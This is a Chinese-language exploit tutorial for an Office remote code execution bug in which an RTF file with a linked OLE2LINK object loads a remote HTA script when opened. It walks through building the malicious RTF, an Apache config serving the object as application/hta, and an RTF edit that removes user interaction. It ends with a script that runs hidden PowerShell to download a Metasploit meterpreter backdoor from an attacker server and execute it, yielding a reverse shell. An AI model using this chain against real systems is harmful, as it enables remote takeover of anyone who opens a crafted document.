漏洞简介
该漏洞是去年四月FireEye公布的一个OFFICE 0day,在无需用户交互的情况下,打开word文档就可以通过hta脚本执行任意代码。经过研究发现,此漏洞的成因主要是word在处理内嵌OLE2LINK对象时,通过网络更新对象时没有正确处理的Content-Type所导致的一个逻辑漏洞。
受影响的版本
Microsoft Office 2016
Microsoft Office 2013
Microsoft Office 2010
Microsoft Office 2007
复现过程
首先,创建一个正常的word文档,作为将要链接的rtf对象,就叫做test.docx吧。
然后,将test.docx重命名为test.rtf后放到Apache服务器上面,并创建另一个文档,选择插入->对象->由文件创建,输入rtf文件路径后选择链接到文件。然后将该文件另存为rtf文件,就叫他exp.rtf吧。
此时,打开exp.rtf可以看到刚刚链接的test.rtf是以一个整体的格式显示。
这时,我们在服务器端修改test.rtf文件为Visual Script Script代码需要注意反斜杠的转义,这段代码将弹出本地计算器。
当然,需要改一下Apache的配置,该代码会将该目录下的文件识别为hta脚本,然后重启服务器。
<Directory /var/www/html/test/>
Header set Content-Type "application/hta"
</Dirctory>
点击“是”即可弹出计算器,此时用010Editor打开该文档,将\object\objautlink\rsltpict替换为\object\objautlink\objupdate\rsltpict,虽然仍然会有提示,但不需与用户交互,计算器便会自行弹出。
利用过程
由上述部分,我们已经可以成功在打开exp.rtf的电脑上执行VBS代码,现在思路为将服务端的后门下载到本地运行,在远程监听,即可实现利用。
-
后门准备
利用最metasploit生成喜闻乐见的meterpreter后门,放在与test.rtf相同目录下。
修改代码
由于前面漏洞复现的时候已经有了VBS运行程序的代码,只需再找一条下载文件的代码就行了,代码如下。
<script>
a=new ActiveXObject("WScript.Shell");
a.run("PowerShell -WindowStyle Hidden (New-Object System.Net.Webclient).DownloadFile('http://192.168.43.153/test/shell.exe','%temp%\\aaa.exe');",0,ture);
a.run('%temp%\\aaa.exe',0);window.close();
</script>
-
服务器监听
用metasploit配置监听本地端口。
-
反弹shell
在靶机上打开exp.rtf,进程中出现下载到本地的后门aaa.exe。返回服务器查看,shell反弹成功。